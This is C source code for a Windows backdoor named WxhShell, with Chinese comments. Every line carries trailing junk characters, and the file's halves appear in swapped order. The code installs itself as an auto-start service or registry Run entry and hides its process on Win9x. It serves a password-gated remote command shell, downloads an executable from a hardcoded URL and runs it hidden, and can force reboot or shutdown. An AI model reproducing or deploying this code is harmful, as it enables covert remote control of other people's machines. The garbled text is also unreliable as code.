    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aB9Pdu t  
    else { ?UAB}CjY  
    closesocket(wsh); IfHB+H   
    ExitThread(0); /n= %#{  
    } iyw "|+  
    break; xP<cF  
    } {/]Ks8`Dm  
  // 获取shell f n9[Li  
  case 's': { q' };.tv  
    CmdShell(wsh); |Uz?i7z  
    closesocket(wsh); \Uun2.K  
    ExitThread(0); gkdd#Nrk  
    break; Gld|w=qr  
  } rs$sAa*f  
  // 退出 K252l,;|  
  case 'x': { $42C4I*E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r>N5 ^  
    CloseIt(wsh); #4. S2m4  
    break; $O*rxQ}  
    } %k8} IBL  
  // 离开 a9 =,P  
  case 'q': { r2A(GUz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m2[q*k]AtS  
    closesocket(wsh); v~>^c1:  
    WSACleanup(); =F2e*?a3  
    exit(1); FL 5u68  
    break; Ds|/\cI$%a  
        } vpOn0([hS  
  } 4&IBNc,sn  
  } j_PICv*6  
K'[H`x^  
  // 提示信息 Fx']kn9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^E&':6(  
} FHVZ/ e  
  } @,i_ KN6C  
yBKkx@o#z  
  return; M IPmsEdBi  
} Fy N@mX  
*bu/Ko]  
// shell模块句柄 0Zkb}F2-  
int CmdShell(SOCKET sock) ~8AcW?4Z  
{ Gd$odKtI  
STARTUPINFO si; +:4J~Cuf  
ZeroMemory(&si,sizeof(si)); 5?),6o);  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yW.s?3X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T"Ph@I<  
PROCESS_INFORMATION ProcessInfo; $\>GQ~k  
char cmdline[]="cmd"; p:u?a,p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S/CT;M@W  
  return 0; "WOY`su>  
} Pb$ep|`u  
0R~{|RHM  
// 自身启动模式 #z{9:o7[-  
int StartFromService(void) vKppXm1  
{ 1_ uq46  
typedef struct hPt(7E2ke~  
{ <7TE[M'  
  DWORD ExitStatus; 5KJN](x+  
  DWORD PebBaseAddress; Rt{qbM|b&  
  DWORD AffinityMask; 0}]k>ndT  
  DWORD BasePriority; W!g'*L/#L  
  ULONG UniqueProcessId; BgLK}p^  
  ULONG InheritedFromUniqueProcessId; t E/s|v#O  
}   PROCESS_BASIC_INFORMATION; TCJH^gDt  
ckRWVw   
PROCNTQSIP NtQueryInformationProcess; Ie>)U)/$  
*Got  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e$|g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ) 'x4#5]  
%7q,[g8  
  HANDLE             hProcess; <\c 5  
  PROCESS_BASIC_INFORMATION pbi; Hs<vCL \  
SlvQ)jw%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EeWCy5W  
  if(NULL == hInst ) return 0; xfw)0S  
6bCC6G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +^hFs7je)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #LEK?]y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +hg|!SS@5  
zRsG$)B  
  if (!NtQueryInformationProcess) return 0; A<.`HCv2  
0hK)/!Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5% C-eB  
  if(!hProcess) return 0; >(EMZ5  
:M(%sv</  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O [GG<Um  
<\@JbL*  
  CloseHandle(hProcess); j E_a ++  
O$+J{@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {4tJT25  
if(hProcess==NULL) return 0; RP&H9>  
wYZFW'5p  
HMODULE hMod; gl-O"%rMcL  
char procName[255]; 'l2'%@E>  
unsigned long cbNeeded; MnUal}MO  
n *|F=fl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .x7d!t:(D  
~0r:Wcj x  
  CloseHandle(hProcess); bY7d  
K:/%7A_{  
if(strstr(procName,"services")) return 1; // 以服务启动 eZs34${fN  
i[A$K~f  
  return 0; // 注册表启动 ,o\v umx  
} !u@e^J{Ao  
09pnM|8A  
// 主模块 ai[st+1  
int StartWxhshell(LPSTR lpCmdLine) WP7*Q:5  
{ }; !S2+  
  SOCKET wsl; GMRw+z4  
BOOL val=TRUE; k8w }2Vw  
  int port=0; PO5/j  
  struct sockaddr_in door; '"Q;54S**  
lw0l86^Y  
  if(wscfg.ws_autoins) Install(); IBr?6_\%"4  
/qA\|'~  
port=atoi(lpCmdLine); <)+9PV<w  
D_@WB.e L  
if(port<=0) port=wscfg.ws_port; AjB-&Z  
d4F3!*@(  
  WSADATA data; +s.r!?49+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WjtmV2b<7  
8@ck" LUzD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a=\r~Z7E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OF*m 9  
  door.sin_family = AF_INET; GL'zs8AKf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yhg^1l|t,  
  door.sin_port = htons(port); =dz  iR _  
Jj}+tQ f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w=I8f}(  
closesocket(wsl); Zo}wzY~x>I  
return 1; E\&~S+:Xp  
} gq4le=,v  
/<)A!Nn+F  
  if(listen(wsl,2) == INVALID_SOCKET) { `WSm/4 m  
closesocket(wsl); |13UJ vR  
return 1; Va>~7  
} _oxhS!.*  
  Wxhshell(wsl); 6hQ?MYX  
  WSACleanup(); ]Ec\!,54u  
wB}s>o\  
return 0; ]Sg4>tp  
Q.Tn"rE|  
} I|]~f[xI  
0\84~t'[  
// 以NT服务方式启动 +G*2f V>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sA=WU(4^  
{ =b2/g [  
DWORD   status = 0; #Q}`kFB`  
  DWORD   specificError = 0xfffffff; -v#0.3zm  
-R@mnG 5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #x! h BS!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  2bwf(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $TS4YaJ%  
  serviceStatus.dwWin32ExitCode     = 0; ],9%QE  
  serviceStatus.dwServiceSpecificExitCode = 0; 86$9)UI  
  serviceStatus.dwCheckPoint       = 0; E!w%oTx{OR  
  serviceStatus.dwWaitHint       = 0; $lmGMljF  
^%tmHDNL.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gB,~Y511  
  if (hServiceStatusHandle==0) return; ;@ xSJqT  
zsnXPRF  
status = GetLastError(); 6jT+kq)  
  if (status!=NO_ERROR) &|'k)6Rx  
{ 57*`y'C W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .jW+\mIX  
    serviceStatus.dwCheckPoint       = 0; H7!j5^  
    serviceStatus.dwWaitHint       = 0; FY h+G-Y#  
    serviceStatus.dwWin32ExitCode     = status; U 1!6%x  
    serviceStatus.dwServiceSpecificExitCode = specificError; +Zgh[a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4sOo>.<x  
    return; X;/~d>@  
  } 70IBE[T&  
v;4l*)$)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uBp"YX9rx  
  serviceStatus.dwCheckPoint       = 0; -)_"7}|u5  
  serviceStatus.dwWaitHint       = 0; z 4 4(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R+Q..9 P  
} <RQ\nU  
$2N)m:X0  
// 处理NT服务事件,比如:启动、停止 co^kP##Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) F"o K*s  
{ ;s m )f  
switch(fdwControl) oqeA15k$  
{ n@IpO i$Q  
case SERVICE_CONTROL_STOP: <2Q+? L{  
  serviceStatus.dwWin32ExitCode = 0; c!n\?lB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zyb>PEd.  
  serviceStatus.dwCheckPoint   = 0; Te&F2`vo  
  serviceStatus.dwWaitHint     = 0; 6Ap-J~4  
  { {akSK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +zM WIG  
  } imGg3'  
  return; V?x&.C2Z  
case SERVICE_CONTROL_PAUSE: V80BO#Pk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H4l*  
  break; Xtv^q> !  
case SERVICE_CONTROL_CONTINUE: yr=$a3web;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K)!yOa'fH  
  break; A|3'9iL{9  
case SERVICE_CONTROL_INTERROGATE: !>gi9z,  
  break; J${'?!N  
}; };{V]f 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WBcnE( zF  
} h+ixl#:  
w"?H4  
// 标准应用程序主函数 yb{ud  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1nHQ)od  
{ UqJ}5{rt  
wB%:RI,  
// 获取操作系统版本 `r?xo7  
OsIsNt=GetOsVer(); z  u53mZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jx*jYil  
"'Bx<FA  
  // 从命令行安装 J@$h'YUF  
  if(strpbrk(lpCmdLine,"iI")) Install(); prJ]u H,  
BCy# Td  
  // 下载执行文件 7Aj o9  
if(wscfg.ws_downexe) { 2/[J<c\G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f,S,35`qa  
  WinExec(wscfg.ws_filenam,SW_HIDE); <:(p nw*L  
} 0^?:Zds  
U7GgGMw  
if(!OsIsNt) { }.+{M.[}  
// 如果时win9x,隐藏进程并且设置为注册表启动 -B+Pl*  
HideProc(); ~cC =DeX  
StartWxhshell(lpCmdLine); T >BlnA  
} # !:u*1  
else OFcL h  
  if(StartFromService()) nd~cpHQR^  
  // 以服务方式启动 zn!H&!8&  
  StartServiceCtrlDispatcher(DispatchTable); LmCr[9/  
else =EE>QM  
  // 普通方式启动 R<* c   
  StartWxhshell(lpCmdLine); k9]M=eO  
H] i.\2z  
return 0; b A/,{R  
} /=o~7y  
&`]Lg?J  
DjzHEqiH  
H > Y0R  
=========================================== FBDRbJ su  
F?h{IH f  
{0~ Sj%Ze  
>"Tivc5  
-L zx3"  
tsGt,]O30  
" )(^L *  
GPyr;FV!s  
#include <stdio.h> K'/,VALp  
#include <string.h> c~,OU7[  
#include <windows.h> 3mmp5 d  
#include <winsock2.h> ,tZJSfHB  
#include <winsvc.h> pv LA:LW2  
#include <urlmon.h> ^v5v7\!  
P|0dZHpT  
#pragma comment (lib, "Ws2_32.lib") WR5@S&fU`  
#pragma comment (lib, "urlmon.lib") fv;3cxQp  
|<:Owd=  
#define MAX_USER   100 // 最大客户端连接数 U"SH fI:  
#define BUF_SOCK   200 // sock buffer ,}8|[)"  
#define KEY_BUFF   255 // 输入 buffer )\xDo<@  
>0^oC[ B  
#define REBOOT     0   // 重启 \:7G1_o  
#define SHUTDOWN   1   // 关机  ~OdE!!  
-MA/:EB  
#define DEF_PORT   5000 // 监听端口 9V]{q  
Vn7FbaO^  
#define REG_LEN     16   // 注册表键长度 E2hy%y9Tp  
#define SVC_LEN     80   // NT服务名长度 NA=I7I@  
!PAuMj)P  
// 从dll定义API d3,%Z &  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~tw#Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |8m2i1XG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ca@?-)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8ch^e[U`  
j@ehcK9|  
// wxhshell配置信息 lMn1e6~K  
struct WSCFG { h vC gd^M  
  int ws_port;         // 监听端口 KR49Y>s<  
  char ws_passstr[REG_LEN]; // 口令 d9qA\ [  
  int ws_autoins;       // 安装标记, 1=yes 0=no a;GuFnfn,  
  char ws_regname[REG_LEN]; // 注册表键名 VM.4w.})_E  
  char ws_svcname[REG_LEN]; // 服务名 q3_ceXYU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v@qU<\Y>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;$il_xA)\>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 47/14rY 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +VE ] .*T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" { /u}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qD] &&"B  
vV(?A  
}; }=7? & b  
2:8p>^g=  
// default Wxhshell configuration CyHaFUbZ  
struct WSCFG wscfg={DEF_PORT, _NwB7@ e  
    "xuhuanlingzhe", D#8uj=/%  
    1, h?D>Dfeg%  
    "Wxhshell", $vC}Fq  
    "Wxhshell", ^8z~`he=_J  
            "WxhShell Service", p?6`mH  
    "Wrsky Windows CmdShell Service", EFk9G2@_  
    "Please Input Your Password: ", ,NA _pvH)  
  1, Z)Zc9SVC  
  "http://www.wrsky.com/wxhshell.exe",  K}OY!|  
  "Wxhshell.exe" j=],n8_i  
    }; i 6DcLE  
_ Vo35kA  
// 消息定义模块 g)L?C'BG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZcQ@%XY3~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lx)Bj6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eBN!!Y:7  
char *msg_ws_ext="\n\rExit."; P {0iEA|k  
char *msg_ws_end="\n\rQuit."; wf,B/[,d  
char *msg_ws_boot="\n\rReboot..."; T F[8r[93  
char *msg_ws_poff="\n\rShutdown..."; R=co2 5  
char *msg_ws_down="\n\rSave to "; LBw$K0  
}w|a^=HAp  
char *msg_ws_err="\n\rErr!"; }%}yOLo:  
char *msg_ws_ok="\n\rOK!"; T {![a{  
W }"n*  
char ExeFile[MAX_PATH]; (+iOy/5#u  
int nUser = 0; dEvjB"x  
HANDLE handles[MAX_USER]; p7Xe[94d^  
int OsIsNt; >[qoNy;  
^+MG"|)u~  
SERVICE_STATUS       serviceStatus; %b1NlzB+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &BZjQK  
UG,<\k&  
// 函数声明 \@eaSa  
int Install(void); zHg1K,t:  
int Uninstall(void); "NM SLqO  
int DownloadFile(char *sURL, SOCKET wsh); gK#G8V-,  
int Boot(int flag); "C~Zl&3  
void HideProc(void); <J o\RUx  
int GetOsVer(void); ],l}J'.8<V  
int Wxhshell(SOCKET wsl); "<Q,|Md  
void TalkWithClient(void *cs); >u0B ~9_E  
int CmdShell(SOCKET sock); qF? n&>YG  
int StartFromService(void); 6");NHE  
int StartWxhshell(LPSTR lpCmdLine); ^77Q4"{W  
voitdz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L"(k;Mfe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {kdS t1  
AEw~LF2w  
// 数据结构和表定义 mE)I(< %  
SERVICE_TABLE_ENTRY DispatchTable[] = /4 M~ 6LT`  
{ vxt<}h5J/!  
{wscfg.ws_svcname, NTServiceMain}, +#LD@)G  
{NULL, NULL} Q|] 9  
}; 5<RZ ht$i  
Fu$JI8  
// 自我安装 huTWoMU  
int Install(void) n]< >$  
{ ibqJ'@{=e  
  char svExeFile[MAX_PATH]; 1$toowb"Zy  
  HKEY key; :H8`z8=0f{  
  strcpy(svExeFile,ExeFile); )r`F}_CEL  
8w\ZY>d   
// 如果是win9x系统,修改注册表设为自启动 {+N7o7  
if(!OsIsNt) { WW[Gne  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )d =8)9B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @\}w8  
  RegCloseKey(key); T:|PSJc0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RK\$>KFE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nN*:"F/^  
  RegCloseKey(key); XnNU-UCX  
  return 0; }}q_QD_  
    } Xt$o$V  
  } C#tY};t  
} ^- H  
else { hTS?+l  
[39  
// 如果是NT以上系统,安装为系统服务 [R%Pf/[Fr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ra-%,cS  
if (schSCManager!=0) RKtU@MX49  
{ %kXg|9Bx!  
  SC_HANDLE schService = CreateService Y| 2Gj(*8  
  ( 5m\T~[`%  
  schSCManager, +m]Kj3-z@  
  wscfg.ws_svcname, ;+NU;f/WM  
  wscfg.ws_svcdisp, fZNWJo# `.  
  SERVICE_ALL_ACCESS, %VsIg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NA-)7i*>J  
  SERVICE_AUTO_START, {[Z}<#n)  
  SERVICE_ERROR_NORMAL, LmjzH@3  
  svExeFile, ;cfmMt!QWJ  
  NULL, aS)Gj?Odf  
  NULL, NB#-W4NA  
  NULL, syB.Z-Cpd  
  NULL, 3?Tk[m1b  
  NULL Dqg~g|(Q<  
  ); G\ m`{jv  
  if (schService!=0) i8+[-mh  
  { tMOhH #  
  CloseServiceHandle(schService); i286`SLU  
  CloseServiceHandle(schSCManager); 7 yp}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *)82iD  
  strcat(svExeFile,wscfg.ws_svcname); 1 2y+g5b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <xO" E%t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0$1-5XY9  
  RegCloseKey(key); ` Clh;  
  return 0; %DIZgPd\  
    } jFPD SR5  
  } "inXHxqu/J  
  CloseServiceHandle(schSCManager);  Y!*F-v@  
} Fo$'*(i  
} '@3Kq\/  
2nkUvb%=  
return 1; 4O1[D? )`x  
} E(/M?>t-  
9TZ4ffXV*  
// 自我卸载 @q<F_'7is  
int Uninstall(void) m |%ly  
{ l/:23\  
  HKEY key; Ow f:Kife  
T/Fj0'  
if(!OsIsNt) { ;lU]ilYv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ")i>-1_H  
  RegDeleteValue(key,wscfg.ws_regname); "4[8pZO/  
  RegCloseKey(key); i-E/#zni  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FAbl5VW'  
  RegDeleteValue(key,wscfg.ws_regname); L.R4 iN  
  RegCloseKey(key); R0DWjN$j  
  return 0; 5FQtlB9F  
  } DB>.Uf"  
} uX8yS|= *  
} ]s<}'&  
else { Udl8?EVSz  
%wk3&EC.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MFqM 6_  
if (schSCManager!=0) /KLs+^c5  
{ $#LR4 [Fq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o5`LLVif5y  
  if (schService!=0) pj/w9j G6  
  { ML-?#jNa<  
  if(DeleteService(schService)!=0) { SU80i`  
  CloseServiceHandle(schService); dWDM{t\}\  
  CloseServiceHandle(schSCManager); \Zbi`;m?  
  return 0; {ZR>`'^:  
  } hsEQ6  
  CloseServiceHandle(schService); R\^XF8n6/  
  } ml\2%07  
  CloseServiceHandle(schSCManager); p"k[ac{  
} tShyG! b  
} dp~] Wx  
m%[`NP (  
return 1; X J{b_h#N  
} o'auCa,N  
4 /Q4sE~<  
// 从指定url下载文件 ed:[^#Lj  
int DownloadFile(char *sURL, SOCKET wsh) nQ}$jOU &  
{ rUOl+p_47  
  HRESULT hr;  *CS2ndp  
char seps[]= "/"; Y}UVC|Ef  
char *token; M,(UCyT  
char *file; V<W$ h`  
char myURL[MAX_PATH]; nr>Os@\BU  
char myFILE[MAX_PATH]; @?YO_</  
u>-pg u  
strcpy(myURL,sURL); f\]splL  
  token=strtok(myURL,seps); `%nj$-W:  
  while(token!=NULL) hH])0C  
  { &m8Z3+Ea  
    file=token; D g~L"  
  token=strtok(NULL,seps); Z @d(0 z  
  } @24)*d^1  
9zs!rlzQ  
GetCurrentDirectory(MAX_PATH,myFILE); u/S{^2`b  
strcat(myFILE, "\\"); &>$+O>c ,  
strcat(myFILE, file); 3qNLosm#M  
  send(wsh,myFILE,strlen(myFILE),0); (//f"c]/  
send(wsh,"...",3,0); Gr}lr gPS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~4'AnoD1w  
  if(hr==S_OK) 0oiz V;B5%  
return 0; KCc7u8   
else @M_p3[c\  
return 1; "CcdwWM  
>Ndck2@  
} #cdrobJ  
~;uc@GGo  
// 系统电源模块 m2h@*  
int Boot(int flag) *%;+3SV  
{ RwyRPc _  
  HANDLE hToken; l:$i}.C  
  TOKEN_PRIVILEGES tkp; TOC2[m c'  
~&\}qz3  
  if(OsIsNt) { /CfgxPo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N:nhS3N<L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iB0#Z_  
    tkp.PrivilegeCount = 1; M*n@djL$\~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EnD }|9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .{ +Ob i  
if(flag==REBOOT) { #'lqE)T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |jT^[q(z  
  return 0; 9f U,_`r  
} l Taw6;  
else { <]e0TU?bk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3d81]!n  
  return 0; 6xq/  
} jSc!"Trl]  
  } bxR6@  
  else { BfOQ/k))  
if(flag==REBOOT) { PTZ/j g@71  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z?"f#  
  return 0; >.4mAO  
} \!Cc[n(f#  
else { !eE;MaS>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?vn9HhTD  
  return 0; U?.cbB,  
} Oll,;{<O  
} TP R$oO2  
f:hsE  
return 1; wR]jJb F  
} ?CU6RC n  
Ww)p&don  
// win9x进程隐藏模块 yDe6f(D  
void HideProc(void) r)xkpa5  
{ +$y%H  
Tt\h#E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SSo7 U  
  if ( hKernel != NULL ) 9?J 3G,&  
  { _`-trE.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ckhU@C|=*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E 8LA+dKN:  
    FreeLibrary(hKernel); F(}~~EtPHo  
  } ;:DDz  
QMAineO  
return; 2/F";tc\'  
} i&_&4  
 TG^?J`  
// 获取操作系统版本 B/F6WQdZ  
int GetOsVer(void) P#o"T4 >  
{ VxA?LS`  
  OSVERSIONINFO winfo; Ql8s7%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |x#w8=VP-  
  GetVersionEx(&winfo); ]/ffA|"U`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R!Lh ~~@{(  
  return 1; c+A$ [  
  else 4-voR5Fd  
  return 0; }"x#uG  
} ]:_s7v  
8Z[YcLy"({  
// 客户端句柄模块 `WRM7  
int Wxhshell(SOCKET wsl) $s.:H4:I  
{ j0`)mR}  
  SOCKET wsh; ms%RNxU4:  
  struct sockaddr_in client; hteAuz4H  
  DWORD myID; 4}xw&x  
2&o jQhe  
  while(nUser<MAX_USER) I6-.;)McO  
{ v1O1-aM  
  int nSize=sizeof(client); :}*   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K{ED mC  
  if(wsh==INVALID_SOCKET) return 1; Swr 8  
*'to#_n&W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D`NPU  
if(handles[nUser]==0) A2 9R5  
  closesocket(wsh); dtx3;d<NsJ  
else X%rsa7H3J  
  nUser++; euiP<[|h=  
  } !fmbm4!a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j/p1/sJ[y  
PX/7:D?  
  return 0; %iR"eEE  
} fK{m7?V  
aM7=>  
// 关闭 socket s~'"&0Gz  
void CloseIt(SOCKET wsh) 6"YcM:5~  
{ pt$\pQ  
closesocket(wsh); riv8qg  
nUser--; E*AI}:or;  
ExitThread(0); @s.civ!Yk  
} sXaudT  
N3(.7mxo  
// 客户端请求句柄 ORx6r=zg  
void TalkWithClient(void *cs) qd<-{  
{ Lvd es.0|  
B? Z_~Bf&  
  SOCKET wsh=(SOCKET)cs; >r\q6f#J4  
  char pwd[SVC_LEN]; 4&kC8 [r  
  char cmd[KEY_BUFF]; CuT50N;tk  
char chr[1]; g^: & Dh  
int i,j; l=PZlH y1G  
V| &->9"  
  while (nUser < MAX_USER) { 6^e}^~|  
WCD)yTg:ES  
if(wscfg.ws_passstr) { XY^]nm-{I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z_8lf_N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + l hJ8&  
  //ZeroMemory(pwd,KEY_BUFF); <&RpGAk%I  
      i=0; 8+@j %l j  
  while(i<SVC_LEN) { RJ1 @ a  
cDIZkni=  
  // 设置超时 g{^~g  
  fd_set FdRead; I%:\"g"c  
  struct timeval TimeOut; ?DGg.2f  
  FD_ZERO(&FdRead); >@)p*y.K  
  FD_SET(wsh,&FdRead); 0[])wl  
  TimeOut.tv_sec=8; c!ieN9^+  
  TimeOut.tv_usec=0; %uw7sGz\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \q@Co42n\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l;d4Le  
qV0GpVJZU?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *#9?9SYSk  
  pwd=chr[0]; !oa/\p  
  if(chr[0]==0xd || chr[0]==0xa) { =P%?{7  
  pwd=0; .*edaDi  
  break; %xrldn%  
  } hg2Ywzfm-  
  i++; 6WX?Xc]$3  
    } fjCFJ_  
A0,h 7<i  
  // 如果是非法用户,关闭 socket -tIye{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); iPdS>e e  
} lAR1gHhJ  
Kr?<7vMT5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6 2#@Y-5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L*OG2liJ  
bFhZSk )  
while(1) { "U!Vdt2vp  
=~k}XB  
  ZeroMemory(cmd,KEY_BUFF); #(QS5J&Qq  
: { iK 5  
      // 自动支持客户端 telnet标准   zZ,"HY=jN  
  j=0; ++n_$Qug  
  while(j<KEY_BUFF) { xR8y"CpE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~ mzX1[  
  cmd[j]=chr[0]; =h xyR;  
  if(chr[0]==0xa || chr[0]==0xd) { #jJ0Mxg  
  cmd[j]=0; _6!iv  
  break; lid0 YK-  
  } !mmSF1f  
  j++; Tm$8\c4V:*  
    } w  _4O;  
[dFe-2u ,$  
  // 下载文件 \l%##7DRp]  
  if(strstr(cmd,"http://")) { -<L5;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wrc1N?[bn  
  if(DownloadFile(cmd,wsh)) 8"TlWHF`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jn`5{ ]D  
  else #"8'y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \H&;.??W  
  } KrR`A(=WL  
  else { Yxy!&hPLv:  
9oIfSr,y  
    switch(cmd[0]) { Sk:x.oOZ  
  bI^F (  
  // 帮助 -Kw7! =_ g  
  case '?': { Kn1T2WSAg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $&!|G-0'  
    break; zJ$U5r/u  
